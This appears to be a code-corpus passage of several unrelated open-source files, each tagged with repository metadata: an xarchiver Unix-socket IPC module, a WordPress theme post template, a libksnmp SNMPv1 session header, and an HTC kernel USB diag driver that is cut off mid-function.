flags = fcntl(fd, F_GETFL, 0); if (flags < 0) { perror("fcntl"); return 0; } if ((flags & O_NONBLOCK) != 0) return 0; FD_ZERO(&fds); FD_SET(fd, &fds); if (cond == G_IO_IN) { select(fd + 1, &fds, NULL, NULL, &timeout); } else { select(fd + 1, NULL, &fds, NULL, &timeout); } if (FD_ISSET(fd, &fds)) { return 0; } else return -1; } static gint socket_fd_write (gint fd, const gchar *buf, gint len) { if (socket_fd_check_io(fd, G_IO_OUT) < 0) return -1; return write(fd, buf, len); } static gint socket_fd_write_all (gint fd, const gchar *buf, gint len) { gint n, wrlen = 0; while (len) { n = socket_fd_write(fd, buf, len); if (n <= 0) return -1; len -= n; wrlen += n; buf += n; } return wrlen; } static gint socket_fd_recv (gint fd, gchar *buf, gint len, gint flags) { if (socket_fd_check_io(fd, G_IO_IN) < 0) return -1; return recv(fd, buf, len, flags); } static gint socket_fd_read (gint fd, gchar *buf, gint len) { if (socket_fd_check_io(fd, G_IO_IN) < 0) return -1; return read(fd, buf, len); } static gint socket_fd_gets (gint fd, gchar *buf, gint len) { gchar *newline, *bp = buf; gint n; if (--len < 1) return -1; do { if ((n = socket_fd_recv(fd, bp, len, MSG_PEEK)) <= 0) return -1; if ((newline = memchr(bp, '\n', n)) != NULL) n = newline - bp + 1; if ((n = socket_fd_read(fd, bp, n)) < 0) return -1; bp += n; len -= n; } while (! newline && len); *bp = '\0'; return bp - buf; } gint socket_init(gint argc, gchar **argv) { GdkDisplay *display; gint sock; display = gdk_display_get_default(); if (socket_info.file_name == NULL) socket_info.file_name = g_strconcat("/tmp/." PACKAGE "-socket", display ? gdk_display_get_name(display) : ":0", "-", g_get_user_name(), NULL); sock = socket_fd_connect_unix(socket_info.file_name); if (sock < 0) { unlink(socket_info.file_name); return socket_fd_open_unix(socket_info.file_name); } // remote command mode, here we have another running instance and want to use it if (argc > 1) { gint i; gchar *filename; socket_fd_write_all(sock, "open\n", 5); for(i = 1; i < argc && argv[i] != NULL; i++) { filename = argv[i]; if (filename != NULL) { socket_fd_write_all(sock, filename, strlen(filename)); socket_fd_write_all(sock, "\n", 1); } } socket_fd_write_all(sock, ".\n", 2); } socket_fd_close(sock); return -1; } gint socket_finalize(void) { if (socket_info.lock_socket < 0) return -1; if (socket_info.lock_socket_tag > 0) g_source_remove(socket_info.lock_socket_tag); if (socket_info.read_ioc) { g_io_channel_shutdown(socket_info.read_ioc, FALSE, NULL); g_io_channel_unref(socket_info.read_ioc); socket_info.read_ioc = NULL; } unlink(socket_info.file_name); g_free(socket_info.file_name); return 0; } gboolean socket_lock_input_cb (GIOChannel *source, GIOCondition condition, gpointer window) { gint fd, sock; gchar buf[4096]; gchar *buf_to_free; struct sockaddr_in caddr; guint caddr_len; caddr_len = sizeof(caddr); fd = g_io_channel_unix_get_fd(source); sock = accept(fd, (struct sockaddr *)&caddr, &caddr_len); // first get the command if (socket_fd_gets(sock, buf, sizeof(buf)) != -1 && strncmp(buf, "open", 4) == 0) { while (socket_fd_gets(sock, buf, sizeof(buf)) != -1 && *buf != '.') { g_strstrip(buf); // remove \n char buf_to_free = g_strdup (buf); if (g_file_test(buf, G_FILE_TEST_IS_REGULAR | G_FILE_TEST_IS_SYMLINK)) xa_open_archive (NULL,buf_to_free); } gtk_window_deiconify (GTK_WINDOW(window)); } socket_fd_close(sock); return TRUE; } #endif
ib/xarchiver
src/socket.c
C
gpl-2.0
6,215
<?php //投稿本文 ?> <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <div class="article<?php if ( !is_single() ) echo ' article-list'; ?>"> <?php if ( is_single() ) get_template_part('sns-buttons-sharebar'); //スクロール追従シェアバー ?> <h1 class="entry-title"> <?php if ( !is_single() ) echo '<a href="'.get_permalink().'">'; //投稿ページ以外ではタイトルにリンクを貼る?> <?php the_title(); //投稿のタイトル?> <?php if ( !is_single() ) echo '</a>'; //投稿ページ以外ではタイトルにリンクを貼る?> </h1> <p class="post-meta"> <?php get_template_part('datetime') //投稿日と更新日?> <?php if ( is_category_visible() && //カテゴリを表示する場合 get_the_category() ): //投稿ページの場合?> <span class="category"><i class="fa fa-folder fa-fw"></i><?php the_category(', ') ?></span> <?php endif; ?> <?php get_template_part('edit-link'); //編集リンク?> <?php wlw_edit_post_link('WLWで編集', '<span class="wlw-edit"><i class="fa fa-pencil-square-o fa-fw"></i>', '</span>'); ?> </p> <?php if ( is_single() ) get_template_part('ad-top');//記事トップ広告 ?> <?php if ( is_single() ) get_template_part('sns-buttons-top');//タイトル下の小さなシェアボタン?> <?php if ( is_single() && is_active_sidebar( 'widget-over-article' ) ): //投稿本文上ウイジェット dynamic_sidebar( 'widget-over-article' ); endif; ?> <?php if ( has_post_thumbnail() && is_eye_catch_visible() ): // サムネイルを持っているときの処理 ?> <div class="eye-catch"><?php the_post_thumbnail('large'); ?></div> <?php endif; ?> <div id="the-content"> <?php //記事本文の表示 the_content( get_theme_text_read_more() ); //デフォルト:続きを読む?> </div> <?php if ( is_single() ) get_template_part('pager-page-links');//ページリンクのページャー?> <?php if ( is_single() && is_active_sidebar( 'widget-under-article' ) ): //投稿本文下ウイジェット dynamic_sidebar( 'widget-under-article' ); endif; ?> <?php if ( is_single() ) get_template_part('ad-article-footer');?> <?php if ( is_single() && is_active_sidebar( 'widget-over-sns-buttons' ) ) : //投稿SNSボタン上ウイジェット dynamic_sidebar( 'widget-over-sns-buttons' ); endif;?> <div id="sns-group" class="sns-group sns-group-bottom"> <?php if ( is_single() ) get_template_part('sns-buttons'); //SNSシェアボタンの取得?> <?php if ( is_single() && is_body_bottom_follows_visible() ) //記事下フォローボタン表示のとき get_template_part('sns-pages'); //SNSフォーローボタンの取得?> </div> <?php if ( is_single() && is_active_sidebar( 'widget-under-sns-buttons' ) ) : //投稿SNSボタン下ウイジェット dynamic_sidebar( 'widget-under-sns-buttons' ); endif;?> <p class="footer-post-meta"> <?php if (is_tag_visible()): ?> <span class="post-tag"><?php the_tags('<i class="fa fa-tag fa-fw"></i>',', '); ?></span> <?php endif; ?> <?php get_template_part('author-link') //投稿者リンク?> <?php get_template_part('edit-link') //編集リンク?> <?php wlw_edit_post_link('WLWで編集', '<span class="wlw-edit"><i class="fa fa-pencil-square-o fa-fw"></i>', '</span>'); ?> </p> </div><!-- .article --> <?php if ( is_list_style_bodies() ): //本文リストスタイルの時?> <hr class="sep" /> <?php endif; ?> </div><!-- .post -->
komokei/komokei-portfolio
wp-content/themes/simplicity/entry-body.php
PHP
gpl-2.0
3,681
/*************************************************************************** * Copyright (C) 2004 by Diego "Flameeyes" Pettenò * * dgp85@users.sourceforge.net * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the * * Free Software Foundation, Inc., * * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * ***************************************************************************/ #ifndef KSNMPSESSION1_H #define KSNMPSESSION1_H #include <libksnmp/session.h> namespace KSNMP { /** @author Flameeyes @brief SNMPv1 Session descriptor This class reperesent a SNMPv1 session, and it's used to communicate with this protocol to the peer. @sa Session2c */ class Session1 : public Session { protected: /** @brief Community string for session Every SNMP session must have a community name, which is used as a sort of 'password' for the SNMP. The default community strings are 'public' for read-only access, and 'private' for read-write access. Not to say, these values aren't the most secure ones. */ QString m_community; public: /** @brief Peer-Specifying constructor @param peername Hostname or IP address of the host to open the session to @param community Community name to use for the session. If not specified it defaults to 'public'. This constructor sets the peer name to the one requested, prepare the connection and waits for connection request. The optional community parameter is used to set the community name. @sa Session1::Session() @sa Session1::setCommunity() @sa Session::setPeerName() */ Session1(const QString &peername = "localhost", const QString &community = "public"); ~Session1(); /** @brief Sets the community name @param community New community name to set the session to. @retval true The session is not open, the community name is changed. @retval false The session is already open, the community name can't be changed. */ bool setCommunity(const QString &community) { /// \todo need to fix this when the open-session code is done :) if ( m_session ) return false; m_community = community; return true; } virtual bool open(); }; }; #endif
Flameeyes/libksnmp
libksnmp/session1.h
C
gpl-2.0
3,215
/* drivers/usb/gadget/f_diag.c * Diag Function Device - Route ARM9 and ARM11 DIAG messages * between HOST and DEVICE. * Copyright (C) 2007 Google, Inc. * Copyright (c) 2008-2010, Code Aurora Forum. All rights reserved. * Author: Brian Swetland <swetland@google.com> * This software is licensed under the terms of the GNU General Public * License version 2, as published by the Free Software Foundation, and * may be copied, distributed, and modified under those terms. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * */ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/platform_device.h> #include <mach/usbdiag.h> #include <mach/rpc_hsusb.h> #ifdef CONFIG_USB_SENSE_OVERLAY #include <linux/usb/composite_sense.h> #else #include <linux/usb/composite.h> #endif #include <linux/usb/gadget.h> #include <linux/usb/android_composite.h> #include <linux/workqueue.h> #include <mach/usbdiag.h> #if defined(CONFIG_MACH_MECHA) #include <mach/smsc251x.h> #endif /*#define HTC_DIAG_DEBUG*/ #if DIAG_XPST #include <mach/7x30-lte/msm_smd.h> #include <mach/sdio_al.h> #include <linux/miscdevice.h> #include <linux/sched.h> #include <asm/uaccess.h> #include <linux/fs.h> #include "../../char/diag/diagchar.h" #include "../../char/diag/diagfwd.h" #include "../../char/diag/diagmem.h" #include "../../char/diag/diagchar_hdlc.h" #include "../../../arch/arm/mach-msm/7x30-lte/sdio_diag.h" #define USB_DIAG_IOC_MAGIC 0xFF #define USB_DIAG_FUNC_IOC_ENABLE_SET _IOW(USB_DIAG_IOC_MAGIC, 1, int) #define USB_DIAG_FUNC_IOC_ENABLE_GET _IOR(USB_DIAG_IOC_MAGIC, 2, int) #define USB_DIAG_FUNC_IOC_REGISTER_SET _IOW(USB_DIAG_IOC_MAGIC, 3, char *) #define USB_DIAG_FUNC_IOC_AMR_SET _IOW(USB_DIAG_IOC_MAGIC, 4, int) #define USB_DIAG_NV_7K9K_SET _IOW(USB_DIAG_IOC_MAGIC, 1, uint16_t *) #define USB_DIAG_NV_7KONLY_SET _IOW(USB_DIAG_IOC_MAGIC, 2, uint16_t *) #define USB_DIAG_NV_9KONLY_SET _IOW(USB_DIAG_IOC_MAGIC, 3, uint16_t *) #define USB_DIAG_NV_7K9KDIFF_SET _IOW(USB_DIAG_IOC_MAGIC, 4, uint16_t *) /* #define USB_DIAG_RC9_7K9K_SET _IOW(USB_DIAG_IOC_MAGIC, 5, uint16_t *) #define USB_DIAG_RC9_7KONLY_SET _IOW(USB_DIAG_IOC_MAGIC, 6, uint16_t *) #define USB_DIAG_RC9_9KONLY_SET _IOW(USB_DIAG_IOC_MAGIC, 7, uint16_t *) #define USB_DIAG_RC9_7K9KDIFF_SET _IOW(USB_DIAG_IOC_MAGIC, 8, uint16_t *) */ #define USB_DIAG_PRL_7K9K_SET _IOW(USB_DIAG_IOC_MAGIC, 9, uint16_t *) #define USB_DIAG_PRL_7KONLY_SET _IOW(USB_DIAG_IOC_MAGIC, 10, uint16_t *) #define USB_DIAG_PRL_9KONLY_SET _IOW(USB_DIAG_IOC_MAGIC, 11, uint16_t *) #define USB_DIAG_PRL_7K9KDIFF_SET _IOW(USB_DIAG_IOC_MAGIC, 12, uint16_t *) #define USB_DIAG_M29_7K9K_SET _IOW(USB_DIAG_IOC_MAGIC, 13, uint16_t *) #define USB_DIAG_M29_7KONLY_SET _IOW(USB_DIAG_IOC_MAGIC, 14, uint16_t *) #define USB_DIAG_M29_9KONLY_SET _IOW(USB_DIAG_IOC_MAGIC, 15, uint16_t *) #define USB_DIAG_M29_7K9KDIFF_SET _IOW(USB_DIAG_IOC_MAGIC, 16, uint16_t *) #define SMD_MAX 8192 #define NV_TABLE_SZ 128 #define M29_TABLE_SZ 10 #define PRL_TABLE_SZ 10 #define EPST_PREFIX 0xC8 #define HPST_PREFIX 0xF1 #define NO_PST 0 #define NO_DEF_ID 1 #define DM7K9K 2 #define DM7KONLY 3 #define DM9KONLY 4 #define DM7K9KDIFF 5 #define NO_DEF_ITEM 0xff #define MAX(x, y) (x > y ? x : y) #endif #if defined(CONFIG_MACH_MECHA) int sdio_diag_init_enable; #endif #if defined(CONFIG_MACH_VIGOR) static unsigned char *diag2arm9_buf_9k = NULL; #endif #if defined(CONFIG_USB_ANDROID_LTE_DIAG) int diag_init_enabled_state = 0; #endif int diag_configured; static DEFINE_SPINLOCK(ch_lock); static LIST_HEAD(usb_diag_ch_list); static struct usb_interface_descriptor intf_desc = { .bLength = sizeof intf_desc, .bDescriptorType = USB_DT_INTERFACE, .bNumEndpoints = 2, .bInterfaceClass = 0xFF, .bInterfaceSubClass = 0xFF, .bInterfaceProtocol = 0xFF, }; static struct usb_endpoint_descriptor hs_bulk_in_desc = { .bLength = USB_DT_ENDPOINT_SIZE, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = USB_DIR_IN, .bmAttributes = USB_ENDPOINT_XFER_BULK, .wMaxPacketSize = __constant_cpu_to_le16(512), .bInterval = 0, }; static struct usb_endpoint_descriptor fs_bulk_in_desc = { .bLength = USB_DT_ENDPOINT_SIZE, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = USB_DIR_IN, .bmAttributes = USB_ENDPOINT_XFER_BULK, .wMaxPacketSize = __constant_cpu_to_le16(64), .bInterval = 0, }; static struct usb_endpoint_descriptor hs_bulk_out_desc = { .bLength = USB_DT_ENDPOINT_SIZE, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = USB_DIR_OUT, .bmAttributes = USB_ENDPOINT_XFER_BULK, .wMaxPacketSize = __constant_cpu_to_le16(512), .bInterval = 0, }; static struct usb_endpoint_descriptor fs_bulk_out_desc = { .bLength = USB_DT_ENDPOINT_SIZE, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = USB_DIR_OUT, .bmAttributes = USB_ENDPOINT_XFER_BULK, .wMaxPacketSize = __constant_cpu_to_le16(64), .bInterval = 0, }; static struct usb_descriptor_header *fs_diag_desc[] = { (struct usb_descriptor_header *) &intf_desc, (struct usb_descriptor_header *) &fs_bulk_in_desc, (struct usb_descriptor_header *) &fs_bulk_out_desc, NULL, }; static struct usb_descriptor_header *hs_diag_desc[] = { (struct usb_descriptor_header *) &intf_desc, (struct usb_descriptor_header *) &hs_bulk_in_desc, (struct usb_descriptor_header *) &hs_bulk_out_desc, NULL, }; /** * struct diag_context - USB diag function driver private structure * @android_function: Used for registering with Android composite driver * @function: function structure for USB interface * @out: USB OUT endpoint struct * @in: USB IN endpoint struct * @in_desc: USB IN endpoint descriptor struct * @out_desc: USB OUT endpoint descriptor struct * @read_pool: List of requests used for Rx (OUT ep) * @write_pool: List of requests used for Tx (IN ep) * @config_work: Work item schedule after interface is configured to notify * CONNECT event to diag char driver and updating product id * and serial number to MODEM/IMEM. * @lock: Spinlock to proctect read_pool, write_pool lists * @cdev: USB composite device struct * @pdata: Platform data for this driver * @ch: USB diag channel * */ struct diag_context { struct android_usb_function android_function; struct usb_function function; struct usb_ep *out; struct usb_ep *in; struct usb_endpoint_descriptor *in_desc; struct usb_endpoint_descriptor *out_desc; struct list_head read_pool; struct list_head write_pool; struct work_struct config_work; spinlock_t lock; unsigned configured; struct usb_composite_dev *cdev; struct usb_diag_platform_data *pdata; struct usb_diag_ch ch; unsigned char i_serial_number; unsigned short product_id; int function_enable; #if DIAG_XPST spinlock_t req_lock; struct mutex user_lock; #define ID_TABLE_SZ 20 /* keep this small */ struct list_head rx_req_idle; struct list_head rx_req_user; wait_queue_head_t read_wq; char *user_read_buf; uint32_t user_read_len; char *user_readp; bool opened; /* list of registered command ids to be routed to userspace */ unsigned char id_table[ID_TABLE_SZ]; //smd_channel_t *ch; int online; int error; /* for slate test */ struct list_head rx_arm9_idle; struct list_head rx_arm9_done; struct mutex diag2arm9_lock; struct mutex diag2arm9_read_lock; struct mutex diag2arm9_write_lock; bool diag2arm9_opened; unsigned char toARM9_buf[SMD_MAX]; unsigned read_arm9_count; unsigned char *read_arm9_buf; wait_queue_head_t read_arm9_wq; struct usb_request *read_arm9_req; u64 tx_count; /* to smd */ u64 rx_count; /* from smd */ u64 usb_in_count; /* to pc */ u64 usb_out_count; /* from pc */ #endif }; struct diag_context _context; static struct usb_diag_ch *legacych; static struct diag_context *legacyctxt; #if defined(CONFIG_USB_ANDROID_LTE_DIAG) static struct usb_diag_ch *mdmch; #endif static struct diag_context *mdmctxt; #if DIAG_XPST struct device diag_device; static char *htc_write_buf_copy; static struct diag_request htc_w_diag_req; static struct diag_request *htc_write_diag_req; #define TRX_REQ_BUF_SZ 8192 #if defined(CONFIG_MACH_MECHA) || defined(CONFIG_MACH_VIGOR) static uint16_t nv7K9K_table[NV_TABLE_SZ] = {82, 0, 4, 5, 20, 21, 37, 258, 318, 460, 461, 462, 463, 464, 465, 466, 546, 707, 714, 854, 1943, 2825, 2953, 30000, 30001, 30002, 30003, 30004, 30005, 30006, 30007, 30008, 30010, 30013, 30014, 30015, 30018, 30019, 30021, 30031, 30032, 30033, 6, 8, 53, 54, 161, 162, 40, 42, 43, 57, 71, 82, 85, 168, 169, 170, 191, 192, 197, 219, 231, 240, 241, 256, 297, 298, 300, 423, 424, 429, 442, 450, 459, 495, 835, 855, 910, 933, 941, 945, 3634}; static uint16_t nv7Konly_table[NV_TABLE_SZ] = {43, 25, 27, 29, 32, 33, 34, 35, 36, 176, 177, 259, 260, 261, 262, 263, 264, 265, 296, 319, 374, 375, 67, 69, 70, 74, 178, 215, 179, 255, 285, 401, 403, 405, 409, 426, 452, 1018, 4102, 906, 30026, 30027, 30028, 30029}; static uint16_t nv7K9Kdiff_table[NV_TABLE_SZ] = {14, 11, 10, 441, 946, 30016, 30030, 562, 32768+11, 32768+10, 32768+441, 32768+946, 32768+30016, 32768+30030, 32768+562}; static uint16_t nv9Konly_table[NV_TABLE_SZ] = {7, 579, 580, 1192, 1194, 4204, 4964, 818}; /*mode reset */ static uint16_t M297K9K_table[M29_TABLE_SZ] = {4, 1, 2, 4, 5}; static uint16_t M297Konly_table[M29_TABLE_SZ]; static uint16_t M297K9Kdiff_table[M29_TABLE_SZ]; static uint16_t M299Konly_table[M29_TABLE_SZ]; /*PRL read/write*/ static uint16_t PRL7K9K_table[PRL_TABLE_SZ] = {1, 0}; static uint16_t PRL7Konly_table[PRL_TABLE_SZ]; static uint16_t PRL7K9Kdiff_table[PRL_TABLE_SZ]; static uint16_t PRL9Konly_table[PRL_TABLE_SZ]; #endif static struct usb_request *diag_req_new(unsigned len) { struct usb_request *req; if (len > SMD_MAX) return NULL; req = kmalloc(sizeof(struct usb_request), GFP_KERNEL); if (!req) return NULL; req->buf = kmalloc(len, GFP_KERNEL); if (!req->buf) { kfree(req); return NULL; } return req; } static void diag_req_free(struct usb_request *req) { if (!req) return; if (req->buf) { kfree(req->buf); req->buf = 0; } kfree(req); req = 0; } /* add a request to the tail of a list */ static void req_put(struct diag_context *ctxt, struct list_head *head, struct usb_request *req) { unsigned long flags; spin_lock_irqsave(&ctxt->req_lock, flags); list_add_tail(&req->list, head); spin_unlock_irqrestore(&ctxt->req_lock, flags); } /* remove a request from the head of a list */ static struct usb_request *req_get(struct diag_context *ctxt, struct list_head *head) { struct usb_request *req = 0; unsigned long flags; spin_lock_irqsave(&ctxt->req_lock, flags); if (!list_empty(head)) { req = list_first_entry(head, struct usb_request, list); list_del(&req->list); } spin_unlock_irqrestore(&ctxt->req_lock, flags); return req; } #if defined(CONFIG_MACH_MECHA) || defined(CONFIG_MACH_VIGOR) int decode_encode_hdlc(void*data, int *len, unsigned char *buf_hdlc, int remove, int pos) { struct diag_send_desc_type send = { NULL, NULL, DIAG_STATE_START, 0 }; struct diag_hdlc_dest_type enc = { NULL, NULL, 0 }; struct diag_hdlc_decode_type hdlc; unsigned char *buf_9k = NULL; int ret; buf_9k = kzalloc(USB_MAX_OUT_BUF, GFP_KERNEL); if (!buf_9k) { DIAG_INFO("%s:out of memory\n", __func__); return -ENOMEM; } hdlc.dest_ptr = buf_9k; hdlc.dest_size = USB_MAX_OUT_BUF; hdlc.src_ptr = data; hdlc.src_size = *len; hdlc.src_idx = 0; hdlc.dest_idx = 0; hdlc.escaping = 0; ret = diag_hdlc_decode(&hdlc); if (!ret) { DIAG_INFO("Packet dropped due to bad HDLC coding/CRC\n"); kfree(buf_9k); return -EINVAL; } if (remove) *((char *)buf_9k+pos) = (*((char *)buf_9k+pos) ^ 0x80); else *((char *)buf_9k+pos) = (*((char *)buf_9k+pos) | 0x80); send.state = DIAG_STATE_START; send.pkt = hdlc.dest_ptr; send.last = (void *)(hdlc.dest_ptr + hdlc.dest_idx - 4); send.terminate = 1; enc.dest = buf_hdlc; enc.dest_last = (void *)(buf_hdlc + 2*hdlc.dest_idx - 3); diag_hdlc_encode(&send, &enc); print_hex_dump(KERN_DEBUG, "encode Data" , 16, 1, DUMP_PREFIX_ADDRESS, buf_hdlc, hdlc.dest_idx, 1); *len = hdlc.dest_idx; kfree(buf_9k); return 0; } #endif int checkcmd_modem_epst(unsigned char *buf) { #if defined(CONFIG_MACH_MECHA) || defined(CONFIG_MACH_VIGOR) int j; uint16_t nv_num; uint16_t max_item; if (*buf == EPST_PREFIX) { if (*(buf+1) == 0x26 || *(buf+1) == 0x27) { max_item = MAX(MAX(nv7K9K_table[0], nv7Konly_table[0]), MAX(nv9Konly_table[0], nv7K9Kdiff_table[0])); nv_num = *((uint16_t *)(buf+2)); DIAG_INFO("%s: id = 0x%x nv_num = %d \n", __func__, *(buf+1), nv_num); for (j = 1; j < NV_TABLE_SZ; j++) { if (j <= nv7K9K_table[0] && nv7K9K_table[j] == nv_num) return DM7K9K; if (j <= nv7Konly_table[0] && nv7Konly_table[j] == nv_num) return DM7KONLY; if (j <= nv9Konly_table[0] && nv9Konly_table[j] == nv_num) return DM9KONLY; if (j <= nv7K9Kdiff_table[0] && nv7K9Kdiff_table[j] == nv_num) return DM7K9KDIFF; if (j > max_item) break; } return NO_DEF_ITEM; } else if (*(buf+1) == 0x48 || *(buf+1) == 0x49) { max_item = MAX(MAX(PRL7K9K_table[0], PRL7Konly_table[0]), MAX(PRL9Konly_table[0], PRL7K9Kdiff_table[0])); nv_num = *((uint16_t *)(buf+2)); DIAG_INFO("%s: id = 0x%x nv_num = %d \n", __func__, *(buf+1), nv_num); for (j = 1; j < PRL_TABLE_SZ; j++) { if (j <= PRL7K9K_table[0] && PRL7K9K_table[j] == nv_num) return DM7K9K; if (j <= PRL7Konly_table[0] && PRL7Konly_table[j] == nv_num) return DM7KONLY; if (j <= PRL9Konly_table[0] && PRL9Konly_table[j] == nv_num) return DM9KONLY; if (j <= PRL7K9Kdiff_table[0] && PRL7K9Kdiff_table[j] == nv_num) return DM7K9KDIFF; if (j > max_item) break; } return NO_DEF_ITEM; } else if (*(buf+1) == 0xC9) { nv_num = *(buf+2); DIAG_INFO("%s: id = 0x%x nv_num = %d \n", __func__, *(buf+1), nv_num); if (*(buf+2) == 0x01 || *(buf+2) == 0x11) return DM7K9K; else return NO_DEF_ITEM; } else if (*(buf+1) == 0x29) { max_item = MAX(MAX(M297K9K_table[0], M297Konly_table[0]), MAX(M299Konly_table[0], M297K9Kdiff_table[0])); nv_num = *((uint16_t *)(buf+2)); DIAG_INFO("%s: id = 0x%x nv_num = %d \n", __func__, *(buf+1), nv_num); for (j = 1; j < M29_TABLE_SZ; j++) { if (j <= M297K9K_table[0] && M297K9K_table[j] == nv_num) return DM7K9K; if (j <= M297Konly_table[0] && M297Konly_table[j] == nv_num) return DM7KONLY; if (j <= M299Konly_table[0] && M299Konly_table[j] == nv_num) return DM9KONLY; if (j <= M297K9Kdiff_table[0] && M297K9Kdiff_table[j] == nv_num) return DM7K9KDIFF; if (j > max_item) break; } return NO_DEF_ITEM; } else if (*(buf+1) == 0x41 || *(buf+1) == 0x0C || *(buf+1) == 0x40) { return DM7K9K; } else if (*(buf+1) == 0x00 || *(buf+1) == 0xCD || *(buf+1) == 0xD8 || *(buf+1) == 0x35 || *(buf+1) == 0x36) { return DM7KONLY; } else if (*(buf+1) == 0xDF) { return DM9KONLY; } else if (*(buf+1) == 0x4B && *(buf+2) == 0x0D) { return DM7KONLY; } else DIAG_INFO("%s:id = 0x%x no default routing path\n", __func__, *(buf+1)); return NO_DEF_ID; } else { /*DIAG_INFO("%s: not EPST_PREFIX id = 0x%x route to USB!!!\n", __func__, *buf);*/ return NO_PST; } #else if (_context.diag2arm9_opened) return DM7KONLY; else return NO_PST; #endif } int modem_to_userspace(void *buf, int r, int type, int is9k) { struct diag_context *ctxt = &_context; struct usb_request *req; #if defined(CONFIG_MACH_MECHA) || defined(CONFIG_MACH_VIGOR) unsigned char value; #endif if (!ctxt->diag2arm9_opened) return 0; req = req_get(ctxt, &ctxt->rx_arm9_idle); if (!req) { DIAG_INFO("There is no enough request to ARM11!!\n"); return 0; } memcpy(req->buf, buf, r); #if defined(CONFIG_MACH_MECHA) || defined(CONFIG_MACH_VIGOR) if (type == DM7K9KDIFF) { value = *((uint8_t *)req->buf+1); if ((value == 0x27) || (value == 0x26)) { if (is9k == 1) { decode_encode_hdlc(buf, &r, req->buf, 0, 3); } } } else if (type == NO_DEF_ID) { /*in this case, cmd may reply error message*/ value = *((uint8_t *)req->buf+2); DIAG_INFO("%s:check error cmd=0x%x message=ox%x\n", __func__ , value, *((uint8_t *)req->buf+1)); if ((value == 0x27) || (value == 0x26)) { if (is9k == 1) { decode_encode_hdlc(buf, &r, req->buf, 0, 4); } } } #endif if (is9k == 1) print_hex_dump(KERN_DEBUG, "DM Read Packet Data" " from 9k radio (first 16 Bytes): ", 16, 1, DUMP_PREFIX_ADDRESS, req->buf, 16, 1); else print_hex_dump(KERN_DEBUG, "DM Read Packet Data" " from 7k radio (first 16 Bytes): ", 16, 1, DUMP_PREFIX_ADDRESS, req->buf, 16, 1); // ctxt->rx_count += r; req->actual = r; req_put(ctxt, &ctxt->rx_arm9_done, req); wake_up(&ctxt->read_arm9_wq); return 1; } static long htc_diag_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { struct diag_context *ctxt = &_context; void __user *argp = (void __user *)arg; int tmp_value; unsigned long flags; unsigned char temp_id_table[ID_TABLE_SZ]; DIAG_INFO("%s:%s(parent:%s): tgid=%d\n", __func__, current->comm, current->parent->comm, current->tgid); if (_IOC_TYPE(cmd) != USB_DIAG_IOC_MAGIC) return -ENOTTY; switch (cmd) { case USB_DIAG_FUNC_IOC_ENABLE_SET: if (copy_from_user(&tmp_value, argp, sizeof(int))) return -EFAULT; DIAG_INFO("diag: enable %d\n", tmp_value); #if defined(CONFIG_USB_ANDROID_LTE_DIAG) android_enable_function(&mdmctxt->function, tmp_value); #endif android_enable_function(&_context.function, tmp_value); diag_smd_enable(driver->ch, "diag_ioctl", tmp_value); #if defined(CONFIG_MACH_MECHA) /* internal hub*/ smsc251x_mdm_port_sw(tmp_value); #endif /* force diag_read to return error when disable diag */ if (tmp_value == 0) ctxt->error = 1; wake_up(&ctxt->read_wq); break; case USB_DIAG_FUNC_IOC_ENABLE_GET: tmp_value = !_context.function.hidden; if (copy_to_user(argp, &tmp_value, sizeof(tmp_value))) return -EFAULT; break; case USB_DIAG_FUNC_IOC_REGISTER_SET: if (copy_from_user(temp_id_table, (unsigned char *)argp, ID_TABLE_SZ)) return -EFAULT; spin_lock_irqsave(&ctxt->req_lock, flags); memcpy(ctxt->id_table, temp_id_table, ID_TABLE_SZ); print_hex_dump(KERN_DEBUG, "ID_TABLE_SZ Data: ", 16, 1, DUMP_PREFIX_ADDRESS, temp_id_table, ID_TABLE_SZ, 1); spin_unlock_irqrestore(&ctxt->req_lock, flags); break; case USB_DIAG_FUNC_IOC_AMR_SET: /* if (copy_from_user(&ctxt->is2ARM11, argp, sizeof(int))) return -EFAULT;*/ DIAG_INFO("diag: fix me USB_DIAG_FUNC_IOC_AMR_SET\n"); break; default: return -ENOTTY; } return 0; } static ssize_t htc_diag_read(struct file *fp, char __user *buf, size_t count, loff_t *pos) { struct diag_context *ctxt = &_context; struct usb_request *req = 0; int ret = 0; DIAG_INFO("%s:%s(parent:%s): tgid=%d\n", __func__, current->comm, current->parent->comm, current->tgid); /* we will block until we're online */ if (!ctxt->online) { ret = wait_event_interruptible(ctxt->read_wq, (ctxt->online || ctxt->error)); if (ret < 0 || ctxt->error) return -EFAULT; } mutex_lock(&ctxt->user_lock); if (ctxt->user_read_len && ctxt->user_readp) { if (count > ctxt->user_read_len) count = ctxt->user_read_len; if (copy_to_user(buf, ctxt->user_readp, count)) ret = -EFAULT; else { ctxt->user_readp += count; ctxt->user_read_len -= count; ret = count; } goto end; } mutex_unlock(&ctxt->user_lock); ret = wait_event_interruptible(ctxt->read_wq, (req = req_get(ctxt, &ctxt->rx_req_user)) || !ctxt->online); mutex_lock(&ctxt->user_lock); if (ret < 0) { DIAG_INFO("%s: wait_event_interruptible error %d\n", __func__, ret); goto end; } if (!ctxt->online) { DIAG_INFO("%s: offline\n", __func__); ret = -EIO; goto end; } if (req) { if (req->actual == 0) { DIAG_INFO("%s: no data\n", __func__); goto end; } if (count > req->actual) count = req->actual; if (copy_to_user(buf, req->buf, count)) { ret = -EFAULT; goto end; } req->actual -= count; if (req->actual) { memcpy(ctxt->user_read_buf, req->buf + count, req->actual); ctxt->user_read_len = req->actual; ctxt->user_readp = ctxt->user_read_buf; } ret = count; } end: if (req) req_put(ctxt, 